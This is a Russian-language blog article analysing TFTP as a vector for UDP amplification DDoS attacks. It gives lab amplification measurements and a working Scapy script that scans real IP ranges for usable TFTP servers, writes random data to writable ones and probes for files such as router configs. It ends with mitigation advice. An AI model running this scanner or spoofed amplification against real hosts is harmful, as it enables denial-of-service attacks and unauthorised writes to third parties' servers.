DDos, в поисках силы

в 14:15, , рубрики: amplification attack, ddos, информационная безопасность

Думаю, многие слышали о DNS amplification и NTP amplification атаках. Много было написано про эти два частных случая UDP-based Amplification атак. Какие ещё протоколы могут быть использованя для усиления? В этом контексте в статье предлагаю рассмотреть протокол tftp.

Давайте вернемся немного назад и вспомним, что представляет собой UDP-based Amplification атаки. Вся реализация сводится к двум пунктам:

  • 1) Отправка на уязвимый сервис специального UDP пакета с поддельным адресом отправителя (адресом жертвы
  • 2) Ответ сервиса на адрес жертвы пакетом в разы превышающим размер первоначального.

Таким образом, получается, что каждый отправленный нами бит к жертве приходит «усиленным» на коэффициент. Вот список протоколов и их коэффициентов усиления по версии us-cert.gov:

DDos, в поисках силы - 1

Это далеко не полный список, существуют и другие «интересные» протоколы, например, tftp. Ему и будет далее посвящена моя статья.

Теория

Trivial File Transfer Protocol (tftp) — действительно очень trivial, название описывает весь функционал. Tftp не поддерживает аутентификацию, да и вообще какие-либо механизмы безопасности. Для реализации UDP-based Amplification атаки нам надо понять, какой tftp пакет вернется «усиленным». Пакет, инициирующий получение/передачу, выглядит следующим образом:

DDos, в поисках силы - 2

Просмотрев RFC 1350, становится ясно, что нашим требованиям отвечает только пакет, инициирующий получение файла. По стандарту первый пакет адрес отправителя в котором возможно подделать может быть RRQ (Read request) или WRQ (Write request). В ответ на WRQ сервер отправляет пакет подтверждения небольшого размера, а вот ответом на RRQ приходит первый пакет запрошенных данных размером не более 512 байт. Необходимый нам формат:

DDos, в поисках силы - 3

x01 — opcode RRQ
octet — тип передачи, в нашем случае неважен

Для создания такого пакета и последующего тестирования, буду использовать Scapy . Предлагаю протестировать возможность использования tftp усиления, для начала в идеальных условиях.

DDos, в поисках силы - 4

На хостовой ОС запущен tftpd32, на гостевой scapy, ноутбук исполняет роль жертвы. Первый тест, отправка такого пакета:

DDos, в поисках силы - 5

На стороне жертвы появился следующий трафик:

DDos, в поисках силы - 6

Таким образом, отправленные нами 62 байта сгенерировали трафик объемом 1306 байт, что в 21 раз больше первоначального. Получился небольшой коэффициент, но давайте запретим icmp трафик, как это часто бывает.

# iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP

В этот раз появится следующий трафик:

DDos, в поисках силы - 7

Общий объем 3415 байт, коэффициент в этот раз 55. Это уже что-то, сопоставимо с DNS amplification.

Практика

Количество доступных tftp серверов не превышает 200 тысяч, как по оценкам shodanhq.com, так и по собственным «ощущениям». По сравнению с 28 миллионами «опасных» DNS серверов угроза от tftp серверов незначительная. Дополнительно для использования усиления необходимо знать имя файла на сервере или иметь возможность записи. Это также уменьшает количество серверов, которые можно использовать. Для нахождения подходящих серверов был написан простенький скрипт.

Сам скрипт

#/usr/bin/env python
from scapy.all import *
from random import randint
import os, time
import multiprocessing as mp


def send_udp(ip):
    name_list = open('name_list.txt', 'r')
    wr_str = os.urandom(511)
    tftp_wrq = IP(dst=ip)/UDP(sport=2222, dport=69)/TFTP()/TFTP_WRQ(filename='filename', mode='octet')
    p_wrq = sr1(tftp_wrq, timeout=2, verbose=0)
    try:
        if p_wrq.payload.payload.load:
            if p_wrq.payload.payload.load[1] == 'x04':
                tftp_data = IP(dst=ip)/UDP(sport=2222, dport=p_wrq.sport)/TFTP()/TFTP_DATA(block=0)/wr_str
                send(tftp_data, verbose=0)
                res = (ip, 'filename')
                return res
            elif p_wrq.payload.payload.load[1] == 'x05':
                for name in name_list.read().split('n'):
                    tftp_rrq = IP(dst=ip)/UDP(sport=2222, dport=69)/TFTP()/TFTP_RRQ(filename=name, mode='octet')
                    p_rrq = sr1(tftp_rrq, timeout=2, verbose=0)
                    if p_rrq.payload.payload.load[1] == 'x03':
                        res = (ip, name)
                        return res
    except AttributeError:
        return False


def save(res):
    if res:
        fo.write('%s:%sn' % res)


def main(ip_mas):
    pool = mp.Pool(5)
    for ip in ip_mas:
        pool.apply_async(send_udp, args=(ip, ), callback=save)
    pool.close()
    pool.join()


if __name__ == '__main__':
    f = open('tftp_list.txt', 'r')
    fo = open('results.txt', 'a')
    ip_mas = []
    for line in f.read().split('n'):
        if line:
            if len(line.split('.')) == 4:
                ip_mas.append(line)
    main(ip_mas)
    f.close()
    fo.close()

name_list.txt — список имен файлов, присутствие которых необходимо проверить на tftp, мой список — EUPL-EN.pdf; tftpd32.ini; .bash_history; startup-config; running-config; pxelinux.cfg; linux.bin; boot.bin

Из проверенных мной 10 тысяч серверов подходящими оказались только 1,5 тысячи, но, думаю, эту цифру можно увеличить, составив грамотный список имен файлов, которые проверяются на наличие. К сожалению счастью, мой провайдер не дал возможности протестировать увеличение нагрузки на интерфейсе платного vps, так как оборудование отбрасывало пакеты с «неправильным» адресом отправителя. Пришлось использовать подручные средства. На гостевой машине со scapy была ограничена скорость программой tc, а жертвой так и остался ноутбук с монитором трафика. Переделав скрипт, на практике было достигнуто усиление в 31 раз (по схеме без icmp ответа). О правдивости практических показателей говорить сложно, так как провайдер, возможно, вносит свои коррективы в приоритеты скорости движения трафика.

Заключение

Считаю, что tftp UDP-based Amplification, хотя и сравнима по коэффициенту усиления с DNS amplification, не является настолько критичной, в силу меньшей распространенности и свойств эксплуатации. Возможно применение в составе гибридной атаки, а использование в качестве единственного вектора атаки, думаю, оправдано только на слабые каналы передачи данных.

Мне кажется, что у некоторых специалистов могло сложится неверное понимание «Amplification»-атак, по принципу «у меня нет публичных DNS, NTP, меня это не затронет». Этой статьей хочу обратить ваше внимание на то, что основная проблема «Amplification» атак не только в реализации сервисов DNS, NTP, tftp и т.д., a лежит уровнем ниже, по стеку протокола TCP/IP — протокол UDP. Для решения подобной проблемы необходима работа на многих уровнях, т.е. программисты при создании сервисов на UDP должны пытаться уменьшить коэффициент усиления, сетевые специалисты должны ставить запрет на подмену ip-адреса отправителя в своих зонах, а администраторы систем должны ограничивать доступ к сервисам по принципу достаточности.

Анализ других сервисов работающих на UDP:

Сервер Quake 3
SSDP
SNMP, NTP, Chargen

P.S. Найдутся читатели, которые могут поведать о случаях из практики, какие встречали UDP-based Amplification атаки, помимо DNS и NTP, бывали ли гибридные, какой мощности, прошу поделится опытом в комментариях.

Автор: icebreaker

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js